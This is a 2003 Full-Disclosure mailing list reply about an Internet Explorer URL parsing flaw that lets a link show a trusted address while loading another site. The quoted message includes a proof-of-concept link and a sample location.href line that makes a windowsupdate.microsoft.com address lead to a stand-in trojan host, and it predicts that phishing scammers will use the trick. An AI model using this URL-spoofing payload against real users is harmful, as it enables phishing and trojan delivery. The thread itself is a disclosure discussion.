[Full-Disclosure] RE: FWD: Internet Explorer URL parsing vulnerability

[Julian HO Thean Swee <jho@starhub.com>]

Hmm, it doesn't seem to work on my browser :)
I don't even get transported to any page when i click the button.
But then again, i have everything turned off in the internet zone by
default...
(but my submit non-encrypted form data is on)

Does it really work then?  it looks like it's using javascript...?
(location.href) 
Merry Christmas everyone :)

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> Message: 1
> Date: Tue, 9 Dec 2003 10:22:59 -0800 (PST)
> From: S G Masood <sgmasood@yahoo.com>
> To: full-disclosure@lists.netsys.com
> Subject: [Full-Disclosure] RE: FWD: Internet Explorer URL parsing
> vulnerability
> 
> 
> LOL. This is so simple and dangerous, it almost made
> me laugh and cry at the same time. Most of you will
> realise why...;D 
> The Paypal, AOL, Visa, Mastercard, et al email
> scammers will have a harvest of gold this month with
> lots of zombies falling for this simple technique.
> 
> ># POC ##########
> >http://www.zapthedingbat.com/security/ex01/vun1.htm
> 
> Dont be surprised if your latest download from
> http://www.microsoft.com turns out to be a trojan!
> 
> location.href=unescape('http://windowsupdate.microsoft.com%01@comedownload
> aneviltrojanfromme.com);
> 
> 
> --
> S.G.Masood
> 
> Hyderabad,
> India
> 
> PS: One more thing - no scripting required to exploit this.
> 
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